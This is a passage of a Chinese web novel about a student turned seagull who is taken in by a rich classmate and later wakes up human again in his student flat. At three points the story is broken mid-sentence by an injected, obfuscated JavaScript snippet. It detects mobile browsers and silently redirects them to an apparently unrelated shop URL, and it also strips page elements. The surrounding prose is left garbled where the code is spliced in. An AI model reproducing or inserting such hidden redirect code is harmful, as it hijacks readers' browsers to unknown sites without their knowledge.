“鸥兄,干得漂亮!虽然你好像又被认成我们的同类了……但是谢谢你给我们刷了一波鸽子的路人缘,接下来就看我们的吧。” 一群灰白各异的鸽子们从天而降,领头的灰鸽正是那天帮助过沈望的那只。 灰鸽似乎是鸽子群的老大,在它的指挥下,鸽子群很快包围住了富二代们的车子,开始天降屎雨。 “兄弟们,黑车拉白的,白车拉黑的,都还记得吗?” “给我冲锋——” 在路人们的惊呼和快门的声响中,沈望被鸟群们簇拥在中间,被闪光灯晃得有些睁不开眼。 就在这时,人群中出现了一个熟悉的身影。 严诺穿过人群,来到街口时,看见的就是眼前的一幕。 4. 鸥好像 它的小海鸥虽然浑身是伤,却靠着自己逃出了恶人的桎梏。 这小家伙也太聪明,太有灵气了。 一股难以言喻的情绪涌上心头,严诺不知道该怎么形容。 沈望在他出现的那一刻就发现了他,虚弱的冲他叫了一声。 严诺几步上前,将沈望抱了起来,发现他的羽毛被薅掉了好几簇,整只鸥狼狈不堪。 似乎是意识到了他的担忧,沈望抬起脑袋,蹭了蹭他。 “人,鸥是很厉害的,可以自己保护自己。” 沈望靠在严诺的怀里,脑袋贴着硬邦邦的胸肌。 或许是刚才的一切发生得太快,到了现在,他才终于彻底放松了下来。 严诺的大衣里很温暖,还有一股很淡的木质香水味。 他似乎是刚从学校回来,鸭舌帽上沾了些雪,由于把浑身湿透,狼狈不堪的沈望抱在怀里,他名贵的毛衣被弄湿了一小块。 沈望有些不好意思,下意识抬起头,小心翼翼的偷看了严诺一眼。 男人的脸上还是没有太多的表情,和平时没什么区别,沈望却敏锐的注意到了他微微蹙起的眉头和绷紧的唇线。 严诺似乎在担心他。 回到家后,看见那盘摆在桌子上,已经冷掉了的薯条,严诺的嘴唇动了动。他垂下眼,先用毛巾将沈望包裹起来,然后挽起袖子,将他抱到了浴室,笨拙的给他洗了个热水澡。 …… …… 活了二十年,这还是严诺平生第一次主动承担照顾者的职责。 他小心翼翼地将沈望放进了浴缸里,祈祷他不要挣扎得太厉害。 奇异的是,眼前的小海鸥似乎知道他想要做什么。 浴缸开始放水时,鸥非但没有胡乱扑腾,反而讨好得咕噜咕噜叫了几声,像小狗一样冲他摇了摇尾巴。 海鸥的尾巴很短,摇起来也没有猫猫狗狗那么容易,可看着那截短短小小的尾巴,严诺还是快被萌得要流鼻血了。 严诺取下花洒,调整到了合适的水温,将沈望身上的脏污细细清理干净。 他犹豫了一下,挤了一泵自己的护发素,小心翼翼的给沈望的翅膀抹了抹。 好香,这就是名贵洗浴产品的威力吗? 略高的水温让沈望高度紧张的神经变得有些麻木。 他有些困了,脑袋一歪一歪的,靠在严诺的手腕上,竟就这么睡了过去。 严诺注意到他睡着了,手上的动作放得更轻了。 帮沈望冲干净了泡沫后,将他捞起来,拿出吹风机将他的毛毛重新吹得蓬松顺滑。 不知过了多久,睡得迷迷糊糊的沈望再次睁开眼,发现他已经回到了严诺的卧室。 这会儿应该已经到了晚上,严诺手边放着一罐喝了一半的可乐,手上正在噼里啪啦敲打着他闪闪发光的机械改装键盘。 严诺在他的电竞桌上放了个U型枕,给他当做临时的睡觉的地方。 早上他没吃的薯条被严诺扔掉了,取而代之的是两块喷香的椒盐炸鸡。 “炸鸡?” 沈望看了看严诺,又看了看自己。 这是什么意思,要他蚕食同类吗,有点意思。 房间里很暗,电脑屏幕微弱的光亮投在严诺的帅脸上,让他的五官轮廓多了几分柔和。 好神奇,这人打游戏居然不咬牙切齿,怎么这么从容。 沈望叨了一口炸鸡,一边慢慢嚼着,一边好奇地凑了过去。 他跳上严诺的头顶,却发现他并没有在打游戏。 电脑显示的是谷鸽搜索页面,由于严诺对他没设防,最近搜索记录赫然出现在了沈望面前。 前面几条是一些没什么营养的游戏教程,然而最近的一些却是—— “海鸥饲养教程” “附近宠物商店” “鸟吃多了薯条会生病吗?” 沈望凑过来时,严诺正在观鸟论坛浏览一条帖子,帖子的标题是……【别让好心害了它们——请不要再给鸟类投喂垃圾食品】 “薯条、炸鸡、汉堡都是高盐高热量的油炸食品,海鸥无法消化,喂食可能会导致营养不良,体重下降,严重的还会产生消化的问题。” 严诺原本平静的神情出现了一丝龟裂, 他似乎仔细回忆了一下自己到底给沈望吃了多少薯条,见沈望凑过来,还将他拿起,掰开他的嘴,将他吃剩下的一小块给他从嘴里拿了出来。 “应该没瘦吧,就吃了一点点……” 海鸥的肚子被摸了摸,严诺确定沈望的手感和之前没什么区别,甚至还比之前稍微圆润了一小点点后,才暂时放下了心来。 这天晚上,严诺给自己泡了一桶加了火腿肠的红烧牛肉面,顺手将沈望吃剩的炸鸡倒进了自己的碗里,沈望却只得到了一片什么也没有的白面包。 “小鸟,这个不能吃了,明天早上商店开门我们就去给你买饲料。” 沈望:“……” 人,你到底要干嘛。不给吃就不给吃,干嘛还要在鸥面前表演吃播啊。 还有饲料是什么鬼,真把他当鸡养了吗。 看着在自己面前吃着泡面的严诺,沈望有些无语 可见严诺还在继续看论坛,甚至还顺手保存了几个豪华鸟爬架的链接,心底却涌起了一股莫名的情绪,鼻头微微有些发酸。 严诺这是……决定要养他了吗。 沈望不知道该怎么形容自己现在的心情,他抬了抬翅膀,发现上面居然被扎了一个简易的绷带。 明明昨天的时候,他似乎还是一副对自己不怎么感兴趣的样子。 看来他的各种撒娇讨好和被追杀的惨状还是起到了作用。 海鸥蹲在严诺肩膀上发了一会儿呆,直到严诺吃完了,它还是一动也不动。 “怎么了,又困了吗?” 严诺戳了戳毛乎乎的鸟团子,将它从自己肩头拿下来,放回了U型枕里。自己则站起身,将碗筷放进洗碗机。 此时的天色已经晚了,严诺关了客厅里的灯,没有直接回卧室,转身进了隔壁的次卧。 严诺的别墅有七八个空房间。 这间没人住的卧室被他改装成了健身房,用来各种健身器材,还顺便放了一些吉他和冲浪板之类的杂物。 因为日子太过无聊了,严诺养成了每天运动的习惯。 正当他一边做着俯卧撑,一边用手机支架看吵吵闹闹却没什么营养的游戏剪辑时,一阵哒哒哒哒的脚步声由远及近的传来。 片刻后,有什么东西扑扇着翅膀,稳稳当当地踩在了严诺的后背上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487366|202087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海鸥的爪子踩着严诺的背肌,稳稳当当的站在他身上,身体纹丝不动,完全没有要下去的打算。 “喂,小鸟,你要干嘛……” 感受着身上的重量,严诺有些好笑。 为了防止沈望从他身上掉下来,他伸出手想去抓他,可沈望却灵活的走位了一下,刚好落在了他抓不着的地方,岿然不动。 “哎——下来。” 严诺有些难绷,他换了只手,艰难地想去够沈望。 可后者却翅膀一扇,不疾不徐地飞到了他的脑袋上。 “……” 严诺好气又好笑的起身,尝试了好几次,这才将沈望从自己的头顶拿了下来。 他捡起垫在地上的外套,将鸥往怀里一裹,强行带回了房间。 “小心点,你要是掉下来,我压到你的翅膀了怎么办?” 怀里的沈望嘎嘎叫了两声,不知是听进去了还是在反驳他。 严诺唇角勾起了一抹弧度,一直到坐在了床上,他这才揉了揉有些僵硬的两腮,后知后觉得发现,他这两天居然笑了这么多次。 要不就把海鸥放枕头边睡吧。 见沈望缠着他不愿下去,有一瞬间,严诺萌生出了这个想法。 严诺看了看沈望,又看了看扑了一半的床。 他揉了揉自己凌乱的短发,将海鸥往怀里一揣,躺进被子里,关了灯。 黑暗的环境里,沈望看不清严诺的神情,可他刚闭上眼,严诺的电话铃声便突兀的响了起来。 在看见来电人的名字后,严诺的身形僵硬了一瞬,沉默了好半天才接了起来。 “喂。” “不用说了,我没兴趣。” “没有别的事我就挂了,我要睡觉了。” 沈望歪着脑袋,就见严诺皱着眉,脑袋尽量远离听筒,似乎对那边的人极尽厌烦。 他原本想凑近听一听怎么回事,可严诺却发现了他。 他抬起手摸了摸沈望的脑袋,按下了挂断键。 之后的很长时间,严诺一直翻来覆去没有睡着。 是因为刚才的那通电话吗? 沈望担忧地爬出了被窝,在枕头旁边的一只抱枕上蹲了下来,盘起身体,默默地陪伴着他的人类。 一旁的电脑桌上,严诺忘记关机的平板明明灭灭,又弹出了几条消息。沈望看了一眼屏幕,发现严诺给对方的备注是:“父亲”。 似乎是对他挂断电话的行为很不满,那边发消息的频率变得频繁了些。 虽然都是些还算正常的问候,可对方很明显是在期待严诺回复他,这让沈望有种不太舒服的直觉。 从只言片语中,沈望判断不出其中的所以然,可沈望能感觉到,严诺和家人的关系似乎不太好。 一直到了后半夜,严诺的呼吸终于变得平稳均匀。 沈望支起身子,借着微弱的月光看向床上的人。 严诺睡觉时喜欢将外套蒙在眼睛上,睡姿看上去也不太放松。他的鼻梁很高,即便被外套挡了大半,优越的五官轮廓线条还是掩都掩藏不住。 夜深了。沈望盯着严诺熟睡的侧颜发了会儿呆,自己也有些困了。 他没有注意到,原本已经“睡着”的严诺不知何时已经睁开了眼,正对着他发呆,不知道在想什么。 5. 鸟鸟我啊 怀揣着复杂的心情,沈望脑袋枕着自己的羽毛,慢慢地睡了过去。 清晨,沈望是被严诺讲电话的声音叫醒的。 “等他醒了,我就带他过来,大概上午十点,或者最迟中午之前吧。他昨天受了点惊吓,我打算让他先休息好。” 沈望迷迷瞪瞪睁开眼,就见严诺站在落地窗前。 他手上捂着听筒,说话的声音也不算大,似乎是担心吵着他了。 令人有些预料之外的是,严诺虽然学习烂得一塌糊涂,英语却很标准。 听起来完全就是母语者的水平,还带了一丝英伦口音。 一个个单词如同潺潺流水一般从他的口中吐出,听得沈望有些发愣,回过神来时,严诺已经挂了电话,朝着他这边走来。 一块松软甜香的椰蓉面包被撕成小块,放在了沈望面前。沈望下意识看了一眼橱柜,就发现昨晚严诺给他的白面包已经消失了。 严诺身上还穿着外出的衣服,应该是在沈望起床前提前去给他买吃的了。 “快吃吧,先对付一口,我们马上出门去给你买饲料,以后就有你吃的了。” 见沈望没有第一时间开动,严诺以为他是对吃的不满意,有些不好意思地碰了碰他的脑门。 不是不满意啊啊啊。 沈望在心中疯狂尖叫… 可他不敢再口吐人言,生怕严诺以为他是妖怪,只能贴着严诺的手狠狠蹭了几下。 人,鸥对早饭很满意,不许胡思乱想。 为表诚意,沈望三两下就把盘子里的面包一扫而空,连面包渣都没有给严诺留下。 看着比脸还干净的盘子,严诺终于放了心。 他揉了揉沈望圆滚滚的肚子,将他塞进外套的口袋里,带着他出了门。 严诺没有开车,而是带着他步行出了院门,来到了街道上。 没走多久,严诺便在一间招牌被积雪覆盖的店铺前停下脚步,推门进去后,是一家高级的异宠诊所。 “你好,我预约了今天早上给它的体检,顺便买点它用的东西。” 严诺摘下帽子,托着沈望的肚子将他放在了医生的诊台上,让他们做了一个详细的检查。 “这几天家里没有吃的,给他喂了点薯条,请问会不会有什么事?” 看着医生将听诊器伸进沈望的毛毛里,严诺搓了搓手,有些不确定地问。 “嗯……” 医生皱起眉,听诊器往旁边挪了挪,严诺立刻坐直了身体,有些不确定的追问:“今天早上,我摸着他的肚子有点硬硬的,是不是着凉了?” “没什么大事,那是吃饱了肚子鼓起来了……” 医生有些无奈地挠了挠秃顶的脑门。 严诺:“……” “海鸥是杂食动物,没有那么金贵的薯条嘛,就跟人类吃垃圾食品一样,只要他身体指标没事,少吃点没太大问题,倒是不用太过紧张。” 医生似乎是见惯了关心则乱的宠物主人,耐心的给严诺科普了一大堆养鸟指南。 临走前,严诺订购了一大箱高级谷物鸟粮,宠物小零食,小衣服若干,还顺手给沈望拿下了一个精美绝伦的多层鸟架。 一个零,两个零,三个零,四个……账单上的数字差点没有闪瞎沈望的眼睛,他站在严诺肩膀上的身形晃荡了一下,被泼天的富贵砸得晕头转向。 一直到出了门,整个人还晕乎乎的,直到严诺将一枚小鱼干零食塞进他的嘴里,他才终于回过了神来。 鸟鸟我啊,真的跟着主人变成大富翁了。 似乎是确定了沈望的身体没有问题,严诺一路上的心情好了不少,步子都轻快了些。 一夜的暴雪过后,M市再次短暂地迎来了晴天。 被暴雪强行困在家里好几天的人们戴着围巾和口罩,纷纷趁着这难得的好天气出来透气。晨跑和遛狗的人们踩在雪地上,发出沙沙的声响。 道路两侧不知被什么人堆了几个雪人,沈望看得有些新奇,忍不住从严诺肩头跳到了雪堆上,试探性地打了个滚,清理了一番自己的羽毛。 冰冰凉凉的,好舒服。 沈望还是人类的时候,是个地地道道,土生土长的南方人。 来到M市求学前,他从来没有见过雪,后来即便过来读书,他也一直忙碌与校内外各种活动、竞赛、兼职,从来没有闲下来的时间,可以痛痛快快玩一场雪。 海鸥红红的爪子在雪地上留下了一排浅淡的印记,如同绽放在白纸上的小梅花。 一直在院子里玩到了傍晚,沈望才从严诺给它留的窗户缝钻进了别墅。 书房很黑,里面没有开灯,许宁环顾了一圈四周,发现严诺没在,电脑也关着。 客厅里传来乒乒乓乓的声音,沈望迈着小碎步凑过去,发现严诺正搬了个板凳,坐在上面对着说明书组装给沈望买的鸟架。 “我听医生说,你们鸟类都习惯站着休息,躺着反而没安全感,以后你都可以睡安稳觉了。” 沈望跳上严诺的肩头时,他正好组装上了最后一枚零件,颇为满意地欣赏了一番自己的作品,最终将其摆在了卧室里。 “喜欢你的新家吗?” 严诺将沈望放了上去,期待地等着他的反应。 鸟架有点高,严诺又直接把沈望放在了最上面那层,沈望只是无意中看了一眼下面,就感觉一阵眩晕,恐高症都要犯了。 喜欢…很喜欢…… 为了不扫严诺的兴,沈望只能硬着头皮蹭了蹭他的手表达感谢。 见严诺心满意足地漏出了一个淡到几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487367|202087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎只有几个像素点的笑容,沈望赶忙找了个机会,颤巍巍迈开腿逃回他的肩膀上,说什么也不肯在架子上多待着了。 安稳和谐的氛围一直持续到了晚上。 到了饭点,沈望正对着面前的一大盆昂贵却干巴的谷物鸟粮发愁,一转头发现,严诺又开始低着头发呆了。 原本沈望还以为,经过一天时间,严诺被家里影响的心情或许应该好一些了。 但看样子他似乎还是有点淡淡的死了。 人,别这样,振作起来啊。 见严诺就连做饭的时候都在发呆,险些烧糊一大锅菜还顺便炸掉厨房,沈望终于看不下去了。 他站上严诺的脑袋,爪子抓住他的头发,惹得他吃痛地闷哼一声,终于在烫伤自己的前一刻回过神来关了火。 “谢谢你啊,小鸟。” 锅里的炖菜已经烧得糊成了黑炭,严诺连饭带锅打包扔了,从冰箱里搜罗出一袋炸鸡,放进空气炸锅里烤熟端了出来。 一人一鸥相对无言,一起分食完了那盘炸鸡。 严诺没再去细究沈望为什么没吃鸟粮,反而还是要跟着他吃人食。 见沈望埋着头,默默地试图啄掉鸡翅上的骨头,伸手帮他把肉扯下来,一点点喂给他吃,自己反而没吃多少。 晚饭结束后,严诺早早上了床。 即便严诺提前将沈望放在了鸟架上,沈望还是跟着跳到了枕头上,大摇大摆的睡在了床上。 严诺抬了抬手,原本大概是想要将沈望放回架子上的,可最后,他的手只是轻轻抚摸了一下沈望柔软的羽毛,没有再说什么。 人,你就睡吧,你再也不是没有鸥的野人了。 见严诺睡觉的时候有意离自己远远的,生怕压到了他。 沈望主动将身子凑了过去,脑袋贴在严诺的额头上。 “……” 严诺的指尖颤了颤,发出了一声很轻的叹息。最终,他帮沈望掖了掖被子,由着他占据了大半张床,然后闭上了眼。 沈望不知道他是睡觉了,还是只是在闭着眼睛发呆。可他什么也做不了,只能将自己尽量贴的离严诺紧一点,试图用体温给予他一些安慰。 翌日一早,沈望是被嗡嗡的电钻声吵醒的。 他下意识的抬起手,想要挡一挡从窗帘缝隙中透进来的太阳光,映入眼帘的却不是毛茸茸的翅膀,而是熟悉又陌生的,白皙修长的手指。 “???” 沈望一轱辘从学生公寓的床上坐了起来,充气床垫瞬间发出不堪重负的嘎吱声。一张水电费欠缴的通知单从大门的缝隙里飘了进来,沈望有些恍惚的碰了碰自己的脸,眼睛,鼻子,嘴……一个也没多没少。 他难以置信的意识到,在穿成海鸥后,他居然又重新变回了人类。 6. 人,安心睡觉 沈望住的学生公寓以低廉著称。 它坐落在市区最边缘的地带,虽然还能远远看见CBD的高楼。 可几个街区外,接壤的就是治安不怎么好的,臭名昭著的□□聚集地。 老旧的外墙漆皮脱落,空调外机也常常各种毛病不断。 自从沈望搬进来,窗外就永远搭着密不透风的脚手架,装修施工的声响一刻不停。 邻居是个不怎么去上课的摆烂哥。 这会儿似乎约了几个朋友在家看球赛,混杂着脏话的欢呼声一浪高过一浪,一切都那么熟悉,却莫名让沈望有种恍若隔世的感觉。 “什么嘛,这也太扯了吧。” 他抬手捡起了那张催缴水电的账单,发现上面的截止日期,赫然写得是……昨天。 逾期罚款每天$50。 或许是现在的情况太过悲催,沈望无语地笑出了声。 人倒霉到了一定的程度,可能真的是会想笑的吧。 沈望原本已经做好了失去一切,重新开始新生活的准备,到头来原来前几天的经历只不过是一场意外。 严诺……和那个人短暂的相处,居然会以这种方式划上句号。 沈望叹了口气,他不知道严诺在发现自己突然失踪后会是什么反应,也不敢去想。 加载了一段时间后,银行账户终于登录上去了,沈望颤抖着手输入密码,在看清自己的余额时,悬着的心终于还是死了。 储蓄卡余额:-$9,因存款为负数已被锁定,信用卡可用金额:0 两天前,在沈望还在严诺家里时,学校里自动帮他扣了学费的分期付款,现在的沈望不仅一毛可以应急的钱都没有,甚至还倒欠银行9块。 水电的逾期罚款虽然不多,可对于现在的沈望来说已经是天文数字。 但是沈望如果不想从价格优惠的学生宿舍搬出去,那他就必须要想办法尽快把拖欠的费用交齐。 之前兼职打工的地方应该可以领工资了,虽然他无故旷工几天,应该已经被老板开除了,可他希望至少能要到一部分的工资。 晚点发个信息问问吧,现在也没有其他办法了,只能碰碰运气。 沈望一边在心里飞快地算着数,一边拉开了冰箱门。 幸运的是,虽然家里的水电都停了,可沈望的冰箱里没放什么东西,夹层里只孤零零放了几块面包。 它们虽然有些蔫吧了,却没有腐烂发出异味。 沈望拧开一瓶矿泉水,将面包泡软后开始吃早餐。 他一边艰难地拒绝着,一边打开了作业软件,简单地盘算了一下最近几天拖欠的学习任务。 为了能拿到奖学金,沈望必须保证每节课的总分都在93%以上,并且越高越好。 沈望现在的总成绩是89%,前几天的缺勤和已经过了提交期限的作业把他的平均分从97%拉到了这个数字。 这意味着这学期剩余的学习内容,沈望必须要以极高的质量完成,才能保住他想要的成绩。 虽然这听起来就难如登天,但这对于沈望来说却并不是不可能完成的任务。 甚至说,作业和考试的部分沈望都不怎么担心,他真正担心的是…… 沈望打开日历,翻到了一个被标红的日期。 一年一度的全球商赛就要开始了,沈望早在很久以前就在等待这个机会,要不是只有大二以上的学生才能报名,他或许根本不会等到现在。 对于商学院的学生们来说,纸面上的考试成绩和普通的实习经历,并不能保证他们在毕业后能找到满意的去处。 如果想要让自己的履历足够耀眼,并且提早进入各大企业集团的人际网络,那么参加竞赛,拓展人脉和资源是必不可少的。 早在高中和大学初期,沈望就已经通关了大部分在业内颇具含金量的大小比赛。 可在此之前,沈望的比赛更多都是学术性的,而商赛则更像是表演赛的性质,选手们需要通过展示实力,来获得各大行业顶尖公司的青睐。 如果能在这场全球的比赛中崭露头角的话,对于之后的职业发展会有很大的帮助。 竞赛本身虽然极具挑战性,可沈望其实并不怎么担心。 唯一的变数就是,这次的竞赛是小组性质的。其他组大部分都是两到三个人的组合,如果单打独斗的话可能会有些吃亏。 但是沈望错过了好几天的课程,很多水平优秀的人应该都已经组好队了,这让他的处境稍微有些被动。 算了,如果无法组到合适的队友,大不了自己一个人参加。 组委会虽然允许组队,但这不是必须的。 将最后一口面包咽下后,沈望也盘算的差不多哦了。 正好手机上的闹铃响起,到了要出门上课的时间。 沈望一手洗着盘子,另一手探出去想要关掉闹钟,可手还没碰到屏幕,手机就息屏了。 由于太久没有充电,再加上室内的温度太低,沈望的手机自动关机了,就算连上了充电宝,也一点反应也没有。 沈望:“……” 十分钟后,沈望裹上厚厚的羽绒服,戴上帽子口罩,全副武装的来到楼下。 他在寒风中缩进公交站台,一边搓着手,一边等待着校巴。 由于沈望舍不得坐1块5一趟的城市公交,他不得不提前一小时就来到宿舍楼下,等待班次不稳定,还总是早到或是迟到的免费校巴。 今天虽然出了太阳,可却还是冷得仿佛连空气都结了冰。 平时沈望还能靠听听歌或者英文磁带稍微解解闷,可今天他连手机都坏了,只能像个傻子一样杵在那干等。 人类的身体没有小鸟那种厚厚的羽毛保护,脆弱且不耐冻。 为了不冻僵,沈望不得不一直活动身子,试图让自己暖和起来。 待到出来上班上学的人渐渐多了起来,城市公交也在沈望面前驶走了好几趟,沈望等的校巴,终于在他迟到前一刻慢悠悠地来了。 “拜托了,叔叔您开快点,我快迟到了。” 校巴上很空,只有三两个昏昏欲睡的学生。 司机大叔见沈望一脸焦急,对着他点了点头,脚下油门一踩,老掉了牙的巴士就这么飞驰了出去,差点没给沈望摔一个趔趄。 校巴刚停下,沈望就飞快地往教室的方向冲去。 一路上,他似乎撞到了什么人,却根本无暇顾及,只能狼狈的连声道歉,脚步却不停。 终于,在上课前的三分钟,沈望踏进了教室。 他原本以为,这个时间来前排的记笔记绝佳好位置应该已经被占满了。 却没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487368|202087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到,教室里空空如也,竟然一个人也没有,就连投影仪都被人搬走了。 欸,老师换教室了?还是因为什么原因,今天的课取消了? 沈望已经翘了好几天课,完全不知道这件事。 他焦急的打开手机想要查看助教发的邮件,可它坏得很彻底,无论沈望怎么尝试,始终开不了机。 无奈之际,沈望只能抓起书包,转头就往外走,准备去学生帮助中心问问情况。 然而,他刚推开门,却陡然撞进了一个坚硬却宽厚的怀抱之中。 “砰——” 由于早上没吃饱,再加上吹了一个多小时的冷风,沈望被撞了一个趔趄,书包掉在了地上,厚厚的课本和各种密密麻麻的笔记资料散落了一地。 “抱歉,你没事吧?” 沈望蹲下身,一边捡拾地上的东西,一边向被撞到的人道歉。 对方没有吭声,片刻后,沈望只感觉身前投下了一大片阴影。 一只骨节分明,修长好看的大手帮他拾起了最重的一叠资料,将卷边的一角抻平,然后递还给了他。 沈望接过资料,无意间触碰到了那人的指尖,灼热的温度让他很轻的颤了一下。 他迅速的抽回手,将资料塞进书包,抬起头刚想说谢谢,可在看清那人的脸时,唇瓣却不受控制的颤抖了一下。 面前的男人穿着一身黑,鸭舌帽檐挡住了大半的眉眼,只露出了轮廓清晰优越的下半张脸。 变回人类和严诺面对面站在一起时,沈望发现他居然比自己预想中的还要高,他需要微微仰起头,才能勉强和对方平视。 “扑通——扑通——” 沈望听见自己的心脏正在飞速的跳动,或许是因为刚才持续的奔跑,他微微有点气喘,声线也有些不稳。 “不好意思呀,我不是故意的,我赶着去上课,却找不到教室了。” 或许是因为紧张,又或许是因为先入为主的习惯,沈望下意识说了中文。 说完后才想起来不对,他们根本不认识,这样似乎有些冒犯,只能尴尬地笑了笑。 严诺挑了挑眉,目光落在了沈望拎着书包的手上。 沈望的手腕被掉落的书本砸出了一片红痕,显得皮肤更加白皙,在灯光下近乎有些透明。 面前的人身形瘦削,背脊却挺得很直。 乌黑柔软的碎发垂在额前,让他看上去比实际年龄还要小上好几岁,几乎像是个没毕业的高中生。 不知为何,严诺明明是第一次见到眼前的人,却总感觉他身上的气质莫名有些熟悉,对他也没有像面对大多数人时本能的反感,反倒让他……本能的想要亲近。 “你也是商学院的?”严诺问。 见沈望点头,他指了指楼梯:“今天的课不在这上,改到二楼的教室了。” 严诺对他的态度莫名十分温和,这让沈望对严诺的印象产生了微妙的变化。 他或许没有想象中的那么拒人于千里之外嘛。 “噢,谢谢啊——” 沈望看了看墙上的时钟,又看了看严诺,低声对他道了谢。 这时,他发现严诺的脸色比昨天还要难看,眼下甚至挂着淡淡的乌青。 是家里又出了什么事吗,还是……严诺发现海鸥消失了,在担心他的去向。 7. “沈望” 沈望张了张嘴,却根本没有立场再继续和严诺搭话。 现在严诺不再是他的主人,在严诺的视角下,他们的关系只是不熟悉的同学,他没办法再无条件的关心他的生活。 沈望攥紧了关机的手机,匆匆和严诺擦肩而过,按照他的指引找教室去了。 看着沈望离去的背影,严诺站在原地低下了头,不知在想些什么。 进入教室后,沈望还是遗憾地迟到了。 二楼的教室比之前上课的地方大很多,却已经坐得满满当当。 沈望扫了一眼,发现学生中多了不少陌生的面孔。 问了眼熟的课友后他才得知,原来从上周开始,另一堂课的教授因为身体原因请了长假。 所以这个学期的后半部分,这堂课被合并成了一节大课,改在这个大教室上课。 “原来是这样……” 怪不得大家全部搬教室了。 沈望找了个还算靠前的空位坐下,这时才发现,教授居然还没到。 原来,由于地上的积雪还没化干净,老教授的车在上班的路上和别人追尾,他自己足足迟到了半小时。 于是,他干脆宣布,今天只要来上课的,不管迟到与否,只要到得比他早,都按正常出勤算。 倒霉了这么久,总算是遇到件好事了。 沈望由衷的感谢老教授挽救了他岌岌可危的出勤成绩,暗自松了口气后,开始边听课边记笔记。 学校的课程对于沈望来说从来都不难。 从小学时,他的成绩在班级里一直都名列前茅。 他猜自己的智商应该是高于平均水准的,只不过没人关心这些,他自然也没被带着去系统的测试过。 上课时间过半后,教授关掉了课件,开始讲期末作业,顺嘴提了一句即将到来的全球商赛。 临近感恩节,距离寒假只剩下一个月左右,老教授决定尽早把这堂课的结课作业布置出来,为的是让报名了全球商赛的学生们能有更充足的时间准备。 “这次的商赛,希望有条件的同学们可以踊跃报名,如果能获得名次,对你们的前途会有很大的帮助,学校内部也会提供丰厚的奖励。” “你们的对手都是来自全球的精英,哪怕只是去练练胆,对你们来说也是很好的锻炼。就算只是入围复赛,对于以后的发展也会有很大的帮助。” 为了让大家有充足的时间准备比赛,教授布置的结课作业小组合作性质的,并且难度一般,工作量也不算大。 沈望呼了口气,本来打算等着看教授准备怎么分组,谁知那老头子却像是想要故意卖关子一般,大手一挥,让大家先课间休息。 “沈望,商赛你找到队友了吗?要不考虑考虑我呗?查资料打下手的活我可以全包,大佬求捞!!我做牛做马也会追随你的——” “带我一个,我不求商赛了,期末作业带我一个呗,我保证随叫随到,消息秒回!” “说起来,大学霸这几天去哪了呀,怎么连着好几天不来上课,哎哎哎!你没事就好,哥们几个担心死你了,消息也不回,真是要命哦。” 常年保持高分的沈望刚从书包里掏出保温杯喝了口水,周围就已经围了不少人,和他走得比较近的几个朋友也七嘴八舌的凑了上来。 朋友们先是习惯性地调侃了他几句,然后关心地将他左看看,右看看,生怕他是出了什么事。 “……” “哈哈,我没事,就是生病发烧,在家躺了几天。” 沈望不能说自己莫名奇妙变成了海鸥,还被“同学”捡回家住了好几天,只能硬着头皮撒了一个又一个的小谎,终于打消了朋友们的疑虑,把事情圆了回去。 …… …… 严诺走进教室时,正好是下半堂课快要开始的时候,他路过沈望的座位,脚步顿了顿。 沈望对于学习的态度一直是一丝不苟的,虽然还在课间休息,可他依旧在争分夺秒的一边和同学讨论题目,一边用学校的公共电脑上下载学习资料,完全没有注意身后的严诺。 最终,严诺又往后走了几排,然后随便找了个位置坐下,把书包往桌子上一搁,眼睛不自觉地望向窗外。 昨天晚上,不知是不是因为海鸥非要挨着他睡的缘故,严诺居然没有失眠得特别严重,辗转了一会儿后,倒还真的睡得还算安稳。 可凌晨十分,当他从噩梦中惊醒时,却发现床铺的另一侧空了,海鸥消失了。 家里的窗户关得好端端的,连一点缝隙都没有留下。 沈望走得突然又悄无声息,若不是那个高大的鸟架和沈望的食盆还摆放在原来的位置,严诺几乎都要以为,这几天的经历只不过是一场梦。 严诺将家里和院子外面翻了个底朝天,却怎么也没有寻找到沈望的踪影。 他呆呆地坐在床边,直到天色微微泛起亮光,他不得不艰难地承认,他那只古灵精怪,活泼又可爱的小鸟似乎不要他了。 它已经彻底的离开了。 严诺不知道该怎么形容自己现在的心情,上次失而复得的喜悦并没有持续太久,反倒像是一记响亮的耳光,狠狠地抽在了他的脸上。 他抬起手,将帽檐向下压了压,老师讲了什么他根本没有听进去,目光却不知何时再次落在了前排那道身影上。 沈望今天戴了一顶毛茸茸的毛线帽子,两条白色的雪花装饰垂在脸侧,从严诺的角度看去,刚好能看见他粉红色的耳尖,还有脑后的短发下露出的一小截雪白的脖颈。 “这次的小组作业是双人合作,截止日期是期末前的一个星期。” 